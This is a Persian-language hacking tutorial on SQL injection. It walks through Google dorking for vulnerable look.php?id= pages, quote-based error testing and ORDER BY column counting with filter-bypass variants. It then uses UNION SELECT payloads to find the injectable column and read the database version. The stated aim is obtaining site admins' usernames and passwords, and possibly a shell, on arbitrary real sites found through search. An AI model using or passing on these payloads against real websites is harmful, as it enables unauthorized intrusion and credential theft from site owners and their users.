آموزش باگ Sql Injection (دیتابیس هکینگ)

اس کیو ال اینجکشن یکی از باگ های پرطرفدار هکرهاست که هکرها می توانند یوزر پس ادمین سایت هایی که این حفره امنیتی را دارند را بدست بیارند و گاهی اوقات می توانند شل اجرا کنند و سرور را از پا در بیارن. خب میریم سراغ آموزش.

اول به تعدادی dork نیاز داریم. خب برای پیداکردن dork به راحتی می توانید در گوگل سرچ کنید. حالا ما نمونه ای رو میگیم.

Inurl :” look. php?=”

ما اینو تو گوگل سرچ می کنیم تعدادی سایت در نتایج جستجو به ما میدهد که جلوی این مساوی یک عدد هست یا اصلا خودمون هم میتونیم جلوی این عدد بزاریم و سرچ کنیم و فرقی نمی کنه ولی در کل بهتره عدد نزارید.
سرچ می کنیم و یه تعداد سایت که جلوشون عدد هست رو به ما میده مثلا ۹ ( دوستان دقت کنید که دورک و عدد که میگم همه مثال هستند و قابل تغییر و فقط برای متوجه شدن شما گفته میشود ) خب پس باید همچین چیزی بیاد بالا:

www. terget. com/look. php? id=9

خب حالا سایت بدون مشکل میاد بالا و مشکلی نداره و اروری هم نداده الان باید اخر ۹ این علامت اضافه کنید ‘ اگه سایت موردنظر ما آسیب پذیر و دارای باگ sql باشه باید شبیه این ارور داخل صفحه بیاد :

You have an error in your SQL syntax ; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘/” at line 1

یا

Warning : mysql _ fatch _ row () : supplied argument is not a valid MySQL result resource in / home / target / publis _ html / look. php on line 53

خب حالا ارور دریافت کردیم و فهمیدیم که این سایت باگ sql داره ، حالا باید آخر آدرس این دستور رو بزنیم تا تعداد کولمن ها رو پیدا کنیم.

www. target. com/ look. php? id =9’+order+by+50

نکته ۱ : بعد ۹ گاهی اوقات میشه ‘ گذاشت اما گاهی اوقات نه و جواب نمی دهد پس باید امتحان کنید ما فرض می گیریم در این تارگت ما نمیشه .
نکته ۲ : به جای + میشه فاصله که در بعضی موارد جواب نمیدهد. و میتوان از نمونه های زیر استفاده کرد :

www. target. com/look. php? id= 9 +order/…/by/…/50
www.target.com/look. php? id= 9 /../order/…/by/…/50
www.target.com/look. php? id=9 /*/order/*/by/*/50

 

نکته ۳ : اخر url یا همون آدرس اگر ارور دریافت نکردید– بگذارید.

نکته ۴ : عدد ۵۰ یک عدد تصادفی می باشد و همیشه قابل تغییر هست این عدد برای پیداکردن تعداد کولمن ها بکار می رود که میشه هر عددی گذاشت بهتره که از اعداد بزرگ مثل ۵۰ شروع کنیم.

 

خب حالا فرض بگیریم تارگت ما با همین دستوری که دادیم ارور مربوطه را بهمون داد. الان ما این دستور زدیم و تارگت ما این ارور داد:

Unknown column ’50’ in ‘order clause’

یعنی باید تعداد کولمن کمتر کنیم مثلا میزاریم رو ۲۰ :

Unknown column ’20’ in ‘order clause’

 

دوباره همین ارور دریافت کردیم پس باید کمتر کنیم و تا جایی برسه که سایت هیچ اروری نده. خب برای ما رو ۱۵ ، سایت بدون ارور اومد بالا الان اینجا فهمیدیم که کولمن های ما ۱۵ تا هست حالا باید از یک تا ۱۵ توی آدرس بنویسیم تا کولمن قابل تزریق ما پیدا بشه با دستور union + select گاهی اوقات ممکنه با زدن این دستور تارگت اون چیزی که می خوایم بهمون نده که باید به این صورت عمل کنیم union + all + select الان باید این دستور آخر آدرس بزاریم، الان فرض می کنیم تارگت ما با دستور اول جواب میدهد:

www.target.com/look.php? id=9+ union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,…

 

می بینیم که سایت باز شده و وسط یک عدد نوشته که برای من تو این تارگت نوشته ۴، خب فهمیدیم کولمن قابل تزریق ۴ هست حالا ورژن می خوایم بدست بیاوریم که جای شماره چهار می گذاریم () version که دستور به این صورت است :

www.target.com/look . php? id=9+union+select+1,2,3,version (),5,6,7,8,9,10,11,12,13,14,15

 

که برای ما ۰,۵۴,۱,۵ یعنی ورژن ۵ هست.برای ما این مهم هست که ورژن چی باشه و از چه دستور استفاده کنیم که در ورژن ۴ و پایین دستورش با ۵ به بالا فرق می کنه.

 

 

در ادامه با ما باشید ……..